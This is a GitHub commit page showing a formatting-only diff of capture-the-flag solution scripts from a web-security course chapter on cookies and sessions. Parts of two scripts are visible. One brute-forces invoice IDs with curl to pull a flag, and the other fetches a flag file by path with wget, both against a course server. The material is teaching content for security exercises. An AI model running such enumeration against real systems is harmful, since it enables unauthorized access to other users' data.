Skip to content

Commit bdaa8a2

Browse files
committed
chore(cookies): update solution linting for drills
Signed-off-by: Gabriel Mocanu <gabi.mocanu98@gmail.com>
1 parent 7d14d8b commit bdaa8a2

File tree

6 files changed

+38
-52
lines changed

6 files changed

+38
-52
lines changed

chapters/web-application-security/cookies-and-session-management/drills/beep-beep-boop/sol/solution.sh

Lines changed: 5 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,12 @@
11
#!/bin/bash
22
PORT=30014
33

4-
if [[ $1 == "local" ]]
5-
then
6-
url='http://127.0.0.1:'$PORT
7-
elif [[ $1 == "remote" ]] && [[ -z $2 ]]
8-
then
9-
url='http://141.85.224.101:'$PORT
4+
if [[ $1 == "local" ]]; then
5+
url='http://127.0.0.1:'$PORT
6+
elif [[ $1 == "remote" ]] && [[ -z $2 ]]; then
7+
url='http://141.85.224.101:'$PORT
108
else
11-
url=$1':'$2
9+
url=$1':'$2
1210
fi
1311

1412
# Beep Beep Boop

chapters/web-application-security/cookies-and-session-management/drills/chef-hacky-mchack/sol/solution.sh

Lines changed: 5 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,12 @@
11
#!/bin/bash
22
PORT=30015
33

4-
if [[ $1 == "local" ]]
5-
then
6-
url='http://127.0.0.1:'$PORT
7-
elif [[ $1 == "remote" ]] && [[ -z $2 ]]
8-
then
9-
url='http://141.85.224.101:'$PORT
4+
if [[ $1 == "local" ]]; then
5+
url='http://127.0.0.1:'$PORT
6+
elif [[ $1 == "remote" ]] && [[ -z $2 ]]; then
7+
url='http://141.85.224.101:'$PORT
108
else
11-
url=$1':'$2
9+
url=$1':'$2
1210
fi
1311

1412
# Chef hacky mchack

chapters/web-application-security/cookies-and-session-management/drills/great-names/sol/solution.sh

Lines changed: 5 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,12 @@
11
#!/bin/bash
22
PORT=30018
33

4-
if [[ $1 == "local" ]]
5-
then
6-
url='http://127.0.0.1:'$PORT
7-
elif [[ $1 == "remote" ]] && [[ -z $2 ]]
8-
then
9-
url='http://141.85.224.101:'$PORT
4+
if [[ $1 == "local" ]]; then
5+
url='http://127.0.0.1:'$PORT
6+
elif [[ $1 == "remote" ]] && [[ -z $2 ]]; then
7+
url='http://141.85.224.101:'$PORT
108
else
11-
url=$1':'$2
9+
url=$1':'$2
1210
fi
1311

1412
# Great names
Lines changed: 12 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -1,29 +1,26 @@
11
#!/bin/bash
22
PORT=30019
33

4-
if [[ $1 == "local" ]]
5-
then
6-
url='http://127.0.0.1:'$PORT
7-
elif [[ $1 == "remote" ]] && [[ -z $2 ]]
8-
then
9-
url='http://141.85.224.101:'$PORT
4+
if [[ $1 == "local" ]]; then
5+
url='http://127.0.0.1:'$PORT
6+
elif [[ $1 == "remote" ]] && [[ -z $2 ]]; then
7+
url='http://141.85.224.101:'$PORT
108
else
11-
url=$1':'$2
9+
url=$1':'$2
1210
fi
1311

1412
# Mind your own business
1513
echo "Start exploit for Mind your own business"
1614
url=$url'/invoice.php?invoice='
1715
fibb_1=1
1816
fibb_2=1
19-
while [ $fibb_2 -le 50000 ]
20-
do
21-
flag=$(curl -s $url$fibb_2 | grep -o "SSS{.*}")
22-
if [[ ! -z $flag ]]; then
23-
break
24-
fi
25-
fibb_2=$(($fibb_2 + $fibb_1))
26-
fibb_1=$(($fibb_2 - $fibb_1))
17+
while [ $fibb_2 -le 50000 ]; do
18+
flag=$(curl -s $url$fibb_2 | grep -o "SSS{.*}")
19+
if [[ ! -z $flag ]]; then
20+
break
21+
fi
22+
fibb_2=$(($fibb_2 + $fibb_1))
23+
fibb_1=$(($fibb_2 - $fibb_1))
2724
done
2825
echo "Flag is $flag"
2926
echo "----------------------------"

chapters/web-application-security/cookies-and-session-management/drills/santa/sol/solution.sh

Lines changed: 5 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,12 @@
11
#!/bin/bash
22
PORT=30021
33

4-
if [[ $1 == "local" ]]
5-
then
6-
url='http://127.0.0.1:'$PORT
7-
elif [[ $1 == "remote" ]] && [[ -z $2 ]]
8-
then
9-
url='http://141.85.224.101:'$PORT
4+
if [[ $1 == "local" ]]; then
5+
url='http://127.0.0.1:'$PORT
6+
elif [[ $1 == "remote" ]] && [[ -z $2 ]]; then
7+
url='http://141.85.224.101:'$PORT
108
else
11-
url=$1':'$2
9+
url=$1':'$2
1210
fi
1311

1412
# Santa
Lines changed: 6 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,18 +1,15 @@
11
#!/bin/bash
22
PORT=30022
33

4-
if [[ $1 == "local" ]]
5-
then
6-
url='http://127.0.0.1:'$PORT
7-
elif [[ $1 == "remote" ]] && [[ -z $2 ]]
8-
then
9-
url='http://141.85.224.101:'$PORT
4+
if [[ $1 == "local" ]]; then
5+
url='http://127.0.0.1:'$PORT
6+
elif [[ $1 == "remote" ]] && [[ -z $2 ]]; then
7+
url='http://141.85.224.101:'$PORT
108
else
11-
url=$1':'$2
9+
url=$1':'$2
1210
fi
1311

1412
# Traverse universe
1513
echo "Start exploit for Traverse universe"
16-
url=$url
17-
wget $url'/earth/moon/NASA/flag.php'
14+
wget "$url/earth/moon/NASA/flag.php"
1815
echo "----------------------------"

0 commit comments

Comments
 (0)